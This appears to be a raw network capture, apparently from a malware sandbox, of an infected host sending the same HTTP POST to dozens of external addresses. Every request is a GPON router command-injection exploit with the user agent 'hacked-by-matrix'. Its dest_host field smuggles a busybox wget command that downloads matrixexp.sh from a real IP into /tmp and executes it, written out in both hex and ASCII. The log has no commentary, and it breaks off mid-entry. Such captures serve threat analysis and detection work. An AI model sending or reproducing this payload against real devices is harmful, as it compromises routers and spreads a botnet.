Mar 21, 2024 05:23:17.715827942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.13	43428	109.184.199.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715840101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.13	59290	5.42.196.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715862036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.13	33570	212.100.12.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715873957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.13	38964	42.103.220.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715898037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.13	57788	5.62.63.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715924025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.13	35504	212.62.236.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715950966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.13	49758	212.121.85.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715950966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.13	60288	42.129.36.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715960026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.13	37292	212.132.158.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715976000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.13	37786	5.168.145.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715996027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.13	45454	5.121.179.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716013908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.13	38180	42.196.69.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716022968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.13	43276	118.83.152.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716037035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.13	37250	109.222.150.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716042042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.13	45252	212.191.98.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716058016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.13	59374	109.253.127.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716063023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.13	60372	109.63.194.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716133118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.13	39688	212.99.66.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716140032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.13	48718	42.248.34.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716171026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.13	59896	5.132.142.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716171980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.13	47094	212.150.79.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716181040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.13	60708	5.250.165.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716197014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.13	34248	42.222.188.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716229916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.13	50974	212.183.196.174	443

Timestamp	Bytes transferred	Direction	Data
